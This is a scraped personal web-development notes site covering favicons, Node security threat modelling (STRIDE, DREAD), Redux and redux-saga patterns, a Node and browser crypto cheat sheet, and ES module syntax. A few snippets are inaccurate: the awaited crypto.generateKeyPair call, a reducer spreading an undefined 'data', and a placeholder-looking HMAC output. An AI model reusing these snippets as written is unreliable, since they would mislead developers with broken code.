<link rel="icon" type="image/png" href="/favicon-96x96.png" sizes="96x96" />

Light and dark themed SVG favicon using the CSS prefers-color-scheme media feature

https://css-tricks.com/favicon-quiz

https://realfavicongenerator.net/

Picture element

Zander Martineau — Thu, 26 Mar 2020 00:00:00 GMT

Webp + png usage

<picture>
  <source
    type="image/webp"
    srcset="/images/free-cash.webp, /images/free-cash@2x.webp 2x"
  />
  <source
    type="image/png"
    srcset="/images/free-cash.png, /images/free-cash@2x.png 2x"
  />
  <img src="/images/free-cash.png" alt="Free Cash!" />
</picture>

Node Security

Zander Martineau — Thu, 26 Mar 2020 00:00:00 GMT

OWASP Top Ten

Node

Express middlewares

Threat modelling

STRIDE

Threat	Desired property
Spoofing	Authenticity
Tampering	Integrity
Repudiation	Non-repudiability
Information disclosure (privacy breach or data leak)	Confidentiality
Denial of Service	Availability
Elevation of Privilege	Authorisation

Attack tree

Attack trees are conceptual diagrams showing how an asset, or target, might be attacked. Attack trees have been used in a variety of applications. In the field of information technology, they have been used to describe threats on computer systems and possible attacks to realize those threats. However, their use is not restricted to the analysis of conventional information systems. They are widely used in the fields of defense and aerospace for the analysis of threats against tamper resistant electronics systems (e.g., avionics on military aircraft).[1] Attack trees are increasingly being applied to computer control systems (especially relating to the electric power grid ).[2] Attack trees have also been used to understand threats to physical systems.

DREAD

DREAD is part of a system for risk-assessing computer security threats previously used at Microsoft and although currently used by OpenStack and other corporations[citation needed] it was abandoned by its creators [1]. It provides a mnemonic for risk rating security threats using five categories.

The categories are:

Damage – how bad would an attack be?
Reproducibility – how easy is it to reproduce the attack?
Exploitability – how much work is it to launch the attack?
Affected users – how many people will be impacted?
Discoverability – how easy is it to discover the threat?

Redux concepts

Zander Martineau — Tue, 24 Mar 2020 00:00:00 GMT

Notes made from reading the excellent: Human Redux by Henrik Joretag

Actions

“Actions are like news reports. Only report what matters; only report the facts.”

“it's a subtle but important thing to realise that actions should be used to report a thing that happened, not cause something to happen”

“One little "hack" to keep yourself writing actions this way is to make all your action types past-tense. So instead of calling an action LOGIN_SUCCESS, you'd call it LOGIN_SUCCEEDED.”

One call can be split into multiple actions, e.g. FETCH_USERS

Initiate

{
  type: 'FETCH_USERS_STARTED'
}

Success

{
  type: 'FETCH_USERS_SUCCEEDED',
  payload: [{ id: '1', name: 'Mary' }, { id: '2', name: 'Jane' }]
}

Error

{
  type: 'FETCH_USERS_FAILED', payload: 'connectionFailed'
}

“By convention, I always put these types of values in a property of the action called payload.”

Reducers

“in Redux a reducer takes the starting state and an item to process, and return the new state”

Reducers in Redux have a few simple rules:

Always return the state, even if you didn't change it, and even if it's just null. You may not return undefined.
If you change state at all, replace it (more on this later).
Every reducer processes every action even if it doesn't do anything with it.

“As it turns out, the Redux store only takes one reducer. …we can only pass Redux a single reducer when calling createStore() to set up our store. The reducer we pass to the store is often called the "root reducer."”

import { createStore } from 'redux'

const reducer = (state, action) => {
  if (action.type === 'LOGGED_IN') {
    return {
      loggedIn: true,
    }
  }

  return state
}

const store = createStore(reducer)

Combining Reducers “The combineReducers function is a helper included with the Redux library. It takes an object where each key is a name, each value is a reducer function, and it returns a single reducer that combines them all into a single reducer.”

// now we combine them into a single root reducer!
const rootReducer = combineReducers({
  floodCount: floodCountReducer,
  furniture: furnitureReducer,
})

// we end up with a single reducer we can pass to `createStore()`
const store = createStore(rootReducer)

“Every reducer will get called for every action and whatever it returns will be the new state tracked by that reducer”

Redux reducer rule #1: You may never return undefined, so you always have to return something, even if it's null. Returning null means your function at least intentionally returned something. This check is a bit of a safeguard to protect you from scenarios where you accidentally forget to return, and inadvertently return undefined.

Redux reducer rule #2: If you change it, replace it. It is immutable.

These two examples accomplish the same thing:

const newObject = Object.assign({}, obj, { something: 'some other value' })

const anotherNewObject = { ...obj, something: 'some other value' }

Action Creators

An action creator is merely a function that returns an action object.
Redux includes a utility function called bindActionCreators for binding one or more action creators to the store's dispatch() function.
Calling an action creator does nothing but return an object, so you have to either bind it to the store beforehand, or dispatch the result of calling your action creator.

Middleware and Store Enhancers

A store enhancer, ahem... "enhances" or adds some additional capabilities to the store. It could change how reducers process data, or how dispatch works.
Middleware is a function that lets us "tap into" what's happening inside Redux when we dispatch an action.
As it turns out, the ability to run middleware is added to our Redux store using a store enhancer that enhances the .dispatch() function so we don't have to hack it ourselves!

There's only one enhancer that's included in the Redux library itself. It's called applyMiddleware(), and we can pass it middleware functions to inject functionality into .dispatch().

“Ideally, the code doing that dispatch shouldn't have to care what it has to do to clear the ToDos. In programming, ideally, we want to abstract to the point where we're fully expressing the intent, no more, no less. Anything else is what we'd call a "leaky abstraction.”

connect()

“Selecting just what you need, nothing more.”

## Selectors “A selector is simply this: A function that takes the current application state and returns the relevant portion needed by the view.”

“Selectors let us ask questions of our state.”

“A common mistake is to try to calculate and store this derived data as part of the application state. Believe me when I tell you: that is a mistake!”

“It's essential to understand that what createSelector returns is still just a selector function that takes the entire application state as an argument and returns the result of the last function. It's just a more efficient function.”

“Anytime you find yourself updating a "calculated" or "derived" value as part of handling a particular action type in a reducer, you should probably be deriving that answer using a selector instead.”

Data fetching

How would the ideal data fetching approach work?

Fetch data we know we need up front and cache it.
Retain the ability to use the presence of a particular component as a factor that helps determine if we should fetch, but still only fetch if data is stale.
Be able to automatically re-fetch data just because it's old, without requiring any action by the user.
Be able to automatically re-try failed data fetches behind the scenes and still show current data, as long as it's not too stale.

The reducers stored state that was structured like this:

const state = {
  // the actual data, the payload of the successful requests
  data: null,

  // a flag to check whether currently loading
  loading: false,

  // timestamp of last successful fetch
  lastFetch: null,

  // timestamp of last error
  lastError: null,

  // The type of error that occurred
  error: null,
}

The reducers would then do this type of thing:

const reducer = (state, action) => {
  if (action.type === 'SUCCESS') {
    return Object.assign({}, data, {
      data: action.payload,
      // CAVEAT: Using Date.now() here
      // makes the reducer impure. Personally,
      // I don't mind, but it could certainly be
      // argued that this value should be passed
      // in as part of the action instead.
      lastFetch: Date.now(),
      loading: false,

      // clear any previous error data
      lastError: null,
      error: null,
    })
  }

  // other conditions

  return state
}

Routing

Use Redux to manage url state as well

// Update Redux if we navigated via browser's back/forward
// most browsers restore scroll position automatically
// as long as we make content scrolling happen on document.body
window.addEventListener('popstate', () => {
  // here `doUpdateUrl` is an action creator that
  // takes the new url and stores it in Redux.
  store.dispatch(doUpdateUrl(window.location.pathname))
})

// The other part of the two-way binding is updating the displayed
// URL in the browser if we change it inside our app state in Redux.
// We can simply subscribe to Redux and update it if it's different.
store.subscribe(() => {
  const { pathname } = store.getState().routing
  if (location.pathname !== pathname) {
    window.history.pushState(null, '', pathname)
    // Force scroll to top this is what browsers normally do when
    // navigating by clicking a link.
    // Without this, scroll stays wherever it was which can be quite odd.
    document.body.scrollTop = 0
  }
})

Reducer

// starting state for our URL pathname reducer
const initialState = {
  pathname: typeof location !== 'undefined' ? location.pathname : '/',
}

// the reducer itself
const urlReducer = (state = initialState, action) => {
  if (action.type === 'UPDATE_URL') {
    return { pathname: action.payload }
  }
  return state
}

// an action creator for updating it
const doUpdateUrl = (pathname) => ({ type: 'UPDATE_URL', payload: pathname })

Persisting state

use money-clip for persisting to localStorage use idb-keyval for IndexDB

Redux Saga

Zander Martineau — Tue, 24 Mar 2020 00:00:00 GMT

An alternative side effect model for Redux apps

https://redux-saga.js.org https://github.com/redux-saga/redux-saga/

Routines

Routines for redux-saga

https://github.com/afitiskin/redux-saga-routines

import { createRoutine } from 'redux-saga-routines'

const fetchData = createRoutine('FETCH_DATA')

Access the action types

routine.TRIGGER === 'ACTION_TYPE_PREFIX/TRIGGER'
routine.REQUEST === 'ACTION_TYPE_PREFIX/REQUEST'
routine.SUCCESS === 'ACTION_TYPE_PREFIX/SUCCESS'
routine.FAILURE === 'ACTION_TYPE_PREFIX/FAILURE'
routine.FULFILL === 'ACTION_TYPE_PREFIX/FULFILL'

You also have 5 action creators: trigger, request, success, failure, fulfill:

routine.trigger(payload) === { type: 'ACTION_TYPE_PREFIX/TRIGGER', payload }
routine.request(payload) === { type: 'ACTION_TYPE_PREFIX/REQUEST', payload }
routine.success(payload) === { type: 'ACTION_TYPE_PREFIX/SUCCESS', payload }
routine.failure(payload) === { type: 'ACTION_TYPE_PREFIX/FAILURE', payload }
routine.fulfill(payload) === { type: 'ACTION_TYPE_PREFIX/FULFILL', payload }

Reducer

import produce from 'immer'
import { fetchData } from './routines'

const initialState = {
  data: null,
  loading: false,
  error: null,
}

export const exampleReducer = (
  state = initialState,
  action: ExampleActionInterface
) =>
  produce(state, (draft) => {
    switch (action.type) {
      case fetchData.REQUEST:
        draft.loading = true
        break
      case fetchData.SUCCESS:
        draft.loading = false
        draft.data = action.payload
        break
      case fetchData.FAILURE:
        draft.loading = false
        draft.error = true
        break
    }
  })

Sagas

export function* fetchDataRequest(
  { payload },
) {
  const { fromDate, toDate } = payload;
  try {
    const walletId = yield select(getWalletId);
    const { data } = yield call([walletAdapter, 'requestPendingTransactions'], {
      walletId,
      fromDate,
      toDate,
    });

    yield put(getPendingTransactions.success(transformTransactionValues(data)));

  } catch (error) {
    yield put(getPendingTransactions.failure(error));
  }
}

export function* walletSagas() {
  yield takeEvery(
    getPendingTransactions.REQUEST,
    getPendingTransactionsRequest as any
  );
}

CSS environment variables

Zander Martineau — Sun, 22 Mar 2020 00:00:00 GMT

Browser support

env('VARIABLE_NME', FALLBACK_VALUE);

env(safe-area-inset-top, 12px)
env(safe-area-inset-right, 12px)
env(safe-area-inset-bottom, 12px)
env(safe-area-inset-left, 12px)

A specific viewport metatag property is needed:

<meta
  name="viewport"
  content="initial-scale=1.0, width=device-width, viewport-fit=cover"
/>

@viewport {
  viewport-fit: cover;
}

Example

body {
  padding-top: env(safe-area-inset-top, 12px);
  padding-right: env(safe-area-inset-right, 12px);
  padding-bottom: env(safe-area-inset-bottom, 12px);
  padding-left: env(safe-area-inset-left, 12px);
}

Destructuring

Zander Martineau — Sun, 22 Mar 2020 00:00:00 GMT

const exampleObject = { a: { b: 'hi' } }

// Want to get both `a` and `b` as variables?
// You totally can do this in one line of destructuring.
const {
  a,
  a: { b },
} = exampleObject

Crypto

Zander Martineau — Wed, 11 Mar 2020 00:00:00 GMT

The crypto module provides cryptographic functionality including hashing, HMAC, encryption/decryption, signing, and random value generation. Available in both Node.js and modern browsers via the Web Crypto API.

Random Values

Generate UUID

// Works in Node.js and browsers
crypto.randomUUID();
// → "550e8400-e29b-41d4-a716-446655440000"

Random Bytes

import crypto from 'crypto';

// Generate random bytes (Node.js)
const buffer = crypto.randomBytes(32);
const hex = buffer.toString('hex');
// → "a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1"

// Generate random bytes (Browser)
const array = new Uint8Array(32);
crypto.getRandomValues(array);

Random Integer

import crypto from 'crypto';

// Generate random integer in range [min, max)
crypto.randomInt(100);       // 0-99
crypto.randomInt(10, 100);   // 10-99

// Async version
const num = await crypto.randomInt(1, 1000);

Hashing

Basic Hash (SHA-256)

import crypto from 'crypto';

const data = 'Hello, World!';
const hash = crypto.createHash('sha256').update(data).digest('hex');
// → "dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f"

Hash an Object

import crypto from 'crypto';

const body = {
  uuid: '433d7a1b-e8e1-4b5a-b590-f468e5c18cc7',
  name: 'Zander',
};

const hash = crypto.createHash('sha256');
hash.update(JSON.stringify(body));
const hashedResponse = hash.digest('hex');
// → "5a7430e6d96dafadc642289eba7e215d3b9cfd7a58f9593749891424e6d75a4f"

Available Hash Algorithms

// List all available hash algorithms
crypto.getHashes();
// → ['sha256', 'sha512', 'sha3-256', 'md5', 'blake2b512', ...]

Algorithm	Output Size	Use Case
`sha256`	256 bits	General purpose, signatures
`sha512`	512 bits	Higher security needs
`sha3-256`	256 bits	Modern alternative to SHA-2
`md5`	128 bits	Checksums only (not secure!)
`blake2b512`	512 bits	Fast, secure alternative

Hash a File

import crypto from 'crypto';
import fs from 'fs';

function hashFile(filepath) {
  return new Promise((resolve, reject) => {
    const hash = crypto.createHash('sha256');
    const stream = fs.createReadStream(filepath);

    stream.on('data', (chunk) => hash.update(chunk));
    stream.on('end', () => resolve(hash.digest('hex')));
    stream.on('error', reject);
  });
}

const checksum = await hashFile('./large-file.zip');

HMAC (Hash-based Message Authentication Code)

Used for verifying data integrity and authenticity with a secret key.

import crypto from 'crypto';

const secret = 'my-secret-key';
const message = 'Important message';

const hmac = crypto.createHmac('sha256', secret)
  .update(message)
  .digest('hex');
// → "8b5a4e3f2c1d0e9f8a7b6c5d4e3f2a1b..."

Verify Webhook Signature

import crypto from 'crypto';

function verifyWebhookSignature(payload, signature, secret) {
  const expectedSignature = crypto
    .createHmac('sha256', secret)
    .update(payload)
    .digest('hex');

  // Use timingSafeEqual to prevent timing attacks
  return crypto.timingSafeEqual(
    Buffer.from(signature),
    Buffer.from(expectedSignature)
  );
}

Encryption & Decryption

AES-256-GCM (Recommended)

import crypto from 'crypto';

const algorithm = 'aes-256-gcm';

function encrypt(text, key) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(algorithm, key, iv);

  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  const authTag = cipher.getAuthTag();

  return {
    iv: iv.toString('hex'),
    encrypted,
    authTag: authTag.toString('hex'),
  };
}

function decrypt(encryptedData, key) {
  const decipher = crypto.createDecipheriv(
    algorithm,
    key,
    Buffer.from(encryptedData.iv, 'hex')
  );

  decipher.setAuthTag(Buffer.from(encryptedData.authTag, 'hex'));

  let decrypted = decipher.update(encryptedData.encrypted, 'hex', 'utf8');
  decrypted += decipher.final('utf8');

  return decrypted;
}

// Usage
const key = crypto.randomBytes(32); // 256-bit key
const encrypted = encrypt('Secret message', key);
const decrypted = decrypt(encrypted, key);

Generate Secure Key from Password

import crypto from 'crypto';

// Derive a key from a password using PBKDF2
function deriveKey(password, salt = crypto.randomBytes(16)) {
  const key = crypto.pbkdf2Sync(
    password,
    salt,
    100000,  // iterations
    32,      // key length
    'sha256'
  );
  return { key, salt };
}

// Async version
async function deriveKeyAsync(password, salt) {
  return new Promise((resolve, reject) => {
    crypto.pbkdf2(password, salt, 100000, 32, 'sha256', (err, key) => {
      if (err) reject(err);
      else resolve(key);
    });
  });
}

Password Hashing (with scrypt)

For storing passwords, use scrypt — designed to be slow and memory-hard.

import crypto from 'crypto';

async function hashPassword(password) {
  const salt = crypto.randomBytes(16);

  return new Promise((resolve, reject) => {
    crypto.scrypt(password, salt, 64, (err, derivedKey) => {
      if (err) reject(err);
      resolve(salt.toString('hex') + ':' + derivedKey.toString('hex'));
    });
  });
}

async function verifyPassword(password, hash) {
  const [salt, key] = hash.split(':');

  return new Promise((resolve, reject) => {
    crypto.scrypt(password, Buffer.from(salt, 'hex'), 64, (err, derivedKey) => {
      if (err) reject(err);
      resolve(crypto.timingSafeEqual(
        Buffer.from(key, 'hex'),
        derivedKey
      ));
    });
  });
}

// Usage
const hashed = await hashPassword('mySecretPassword');
const isValid = await verifyPassword('mySecretPassword', hashed); // true

Digital Signatures

Sign and Verify Data

import crypto from 'crypto';

// Generate key pair
const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
  modulusLength: 2048,
});

// Sign data
const data = 'Data to sign';
const signature = crypto.sign('sha256', Buffer.from(data), privateKey);

// Verify signature
const isValid = crypto.verify(
  'sha256',
  Buffer.from(data),
  publicKey,
  signature
);
// → true

Generate Key Pair (Async)

import crypto from 'crypto';

const { publicKey, privateKey } = await crypto.generateKeyPair('ed25519');

// Export keys as PEM
const publicPem = publicKey.export({ type: 'spki', format: 'pem' });
const privatePem = privateKey.export({ type: 'pkcs8', format: 'pem' });

Web Crypto API (Browser)

The browser's built-in crypto API for client-side cryptography.

Hash in Browser

async function sha256(message) {
  const msgBuffer = new TextEncoder().encode(message);
  const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);
  const hashArray = Array.from(new Uint8Array(hashBuffer));
  return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
}

await sha256('Hello, World!');
// → "dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f"

Encrypt in Browser

async function generateKey() {
  return crypto.subtle.generateKey(
    { name: 'AES-GCM', length: 256 },
    true,
    ['encrypt', 'decrypt']
  );
}

async function encrypt(plaintext, key) {
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const encoded = new TextEncoder().encode(plaintext);

  const ciphertext = await crypto.subtle.encrypt(
    { name: 'AES-GCM', iv },
    key,
    encoded
  );

  return { iv, ciphertext };
}

async function decrypt({ iv, ciphertext }, key) {
  const decrypted = await crypto.subtle.decrypt(
    { name: 'AES-GCM', iv },
    key,
    ciphertext
  );

  return new TextDecoder().decode(decrypted);
}

Quick Reference

Task	Method
Generate UUID	`crypto.randomUUID()`
Random bytes	`crypto.randomBytes(n)`
Hash data	`crypto.createHash('sha256').update(data).digest('hex')`
HMAC	`crypto.createHmac('sha256', secret).update(data).digest('hex')`
Encrypt	`crypto.createCipheriv(algorithm, key, iv)`
Decrypt	`crypto.createDecipheriv(algorithm, key, iv)`
Password hash	`crypto.scrypt(password, salt, keylen, callback)`
Sign data	`crypto.sign('sha256', data, privateKey)`
Verify signature	`crypto.verify('sha256', data, publicKey, signature)`
Compare securely	`crypto.timingSafeEqual(a, b)`

Security Best Practices

Never use MD5 or SHA1 for security purposes — they're broken
Use timingSafeEqual when comparing hashes to prevent timing attacks
Generate fresh IVs for each encryption operation
Use authenticated encryption (AES-GCM) to detect tampering
Store salts with hashes — they don't need to be secret
Use high iteration counts for password hashing (≥100,000 for PBKDF2)
Prefer scrypt or argon2 over PBKDF2 for password storage

ES Module import/export syntax

Zander Martineau — Thu, 27 Feb 2020 00:00:00 GMT

// default exports
export default 42
export default {}
export default []
export default 1 + 2
export default foo
export default function() {}
export default class {}
export default function foo() {}
export default class foo {}

// variables exports
export var foo = 1
export var foo = function() {}
export var bar
export let foo = 2
export let bar
export const foo = 3
export function foo() {}
export class foo {}

// named exports
export {}
export { foo }
export { foo, bar }
export { foo as bar }
export { foo as default }
export { foo as default, bar }

// exports from
export * from 'foo'
export {} from 'foo'
export { foo } from 'foo'
export { foo, bar } from 'foo'
export { foo as bar } from 'foo'
export { foo as default } from 'foo'
export { foo as default, bar } from 'foo'
export { default } from 'foo'
export { default as foo } from 'foo'

Import Syntax

// default imports
import foo from 'foo'
import { default as foo } from 'foo'

// named imports
import {} from 'foo'
import { bar } from 'foo'
import { bar, baz } from 'foo'
import { bar as baz } from 'foo'
import { bar as baz, xyz } from 'foo'

// glob imports
import * as foo from 'foo'

// mixing imports
import foo, { baz as xyz } from 'foo'
import foo, * as bar from 'foo'

// just import
import 'foo'

ES6 templating

Zander Martineau — Thu, 27 Feb 2020 00:00:00 GMT

const dogs = [
  { name: 'Snickers', age: 2 },
  { name: 'Hugo', age: 8 },
  { name: 'Sunny', age: 1 },
]

const markup = `
  <ul class="dogs">
      ${dogs
        .map(
          (dog) =>
            `<li>${dog.name}
              is
              ${dog.age * 7}
              </li>`
        )
        .join('')}
    </ul>
`

or

const song = {
  name: 'Dying to live',
  artist: 'Tupac',
  featuring: 'Biggie Smalls',
}

const markup = `
    <div class="song">
        <p>
            ${song.name} - ${song.artist}
            ${song.featuring ? `(Featuring ${song.featuring})` : ''}
        </p>
    </div>
`

HTML Video

Zander Martineau — Thu, 27 Feb 2020 00:00:00 GMT

<video width="640" height="360" controls>
  <!-- MP4 must be first for iPad! -->
  <source src="__VIDEO__.mp4" type="video/mp4" />
  <!-- Safari / iOS video    -->
  <source src="__VIDEO__.ogv" type="video/ogg" />
  <!-- Firefox / Opera / Chrome10 -->
</video>
<!-- you *must* offer a download link as they may be able to play the file locally. customise this bit all you want -->
<p>
  <strong>Download Video:</strong> Closed Format:
  <a href="__VIDEO__.MP4">"MP4"</a> Open Format:
  <a href="__VIDEO__.OGV">"Ogg"</a>
</p>

Autoplay

Useful links

https://webkit.org/blog/6784/new-video-policies-for-ios/
https://docs.google.com/presentation/d/1DhW29bTLkDO6JSqp_wLUyByo00nI4krQ9laGQYQEJLU/edit
- https://bitmovin.com/play-not-play-new-autoplay-policies-safari-11-chrome-64/

Embedding YouTube/Vimeo etc

YouTube

https://developers.google.com/youtube/player_parameters#Manual_IFrame_Embeds

Vimeo

https://vimeo.zendesk.com/hc/en-us/articles/360001494447-Using-Player-Parameters

Useful npm packages

https://github.com/alanshaw/embed-video
https://github.com/radiovisual/get-video-id

Inherited value	bolder	lighter
100	400	100
200	400	100
300	400	100
400	700	100
500	700	100
600	900	400
700	900	400
800	900	700
900	900	700

Inherited value	bolder	lighter
100	400	100
200	400	100
300	400	100
400	700	100
500	700	100
600	900	400
700	900	400
800	900	700
900	900	700

Zander's Code Notes

Array methods summarised

Intro

forEach

map

filter

reduce

some

every

find

findIndex

findLast

findLastIndex

flatMap

sort

Compare function examples

Change-by-copy methods (ES2023)

toSorted

toReversed

toSpliced

with

Other useful newer methods

at

flat

includes

Object.groupBy

Looping and iterating in JavaScript

Which loop?

Pros and cons

Arrays

for...of

Plain for

forEach

Array methods

Don't use for...in on arrays

Stopping early

Objects

for...in on objects

Key order

Keys the usual methods skip

Nested objects

Map and Set

Strings

DOM lists and array-like things

Static methods that go through a list

Async loops

for await...of

The iteration protocol

Iterator helpers

while and do...while

Trees and nested data

Performance

Reshaping data in JavaScript

The sample data

map — reshape every item

filter — keep a subset

Chaining filter + map

reduce — collapse a list into one value

Grouping — Object.groupBy

Indexing — turn a list into a lookup

Set — dedupe and fast membership

Compare two lists with Set methods

Joining two datasets

Sorting without mutating

Objects ⇄ arrays

flat — un-nest an array of arrays

flatMap — map, then flatten one level

Rendering into a data grid

Putting it together

Quick reference

Technical Job Interview Questions

JavaScript questions

What is the difference between functional and object oriented programming?

Functional Programming

Object-Oriented Programming

Comparative Summary

What are some javascript design patterns?

What are promises?

Difference between var, let and const?

Difference between null and undefined?

`forEach`

`map`

`filter`

`reduce`

`some`

`every`

`find`

`findIndex`

`findLast`

`findLastIndex`

`flatMap`

`sort`

`toSorted`

`toReversed`

`toSpliced`

`with`

`at`

`flat`

`includes`

`Object.groupBy`

`for...of`

Plain `for`

`forEach`

Don't use `for...in` on arrays

`for...in` on objects

`Map` and `Set`

`for await...of`

`while` and `do...while`

`map` — reshape every item

`filter` — keep a subset

Chaining `filter` + `map`

`reduce` — collapse a list into one value

Grouping — `Object.groupBy`

`Set` — dedupe and fast membership

`flat` — un-nest an array of arrays

`flatMap` — map, then flatten one level

Difference between `var`, `let` and `const`?

Difference between `null` and `undefined`?

What is a `Map`?

What is a `Set`?

What is `e.target`?

What does `getInitialProps` do?

What does `getServerSideProps` do?

What do `getStaticProps` and `getStaticPaths` do?

What does the `Partial` utility type do?

What does the built-in `Record` type do?

Inherited value	bolder	lighter
100	400	100
200	400	100
300	400	100
400	700	100
500	700	100
600	900	400
700	900	400
800	900	700
900	900	700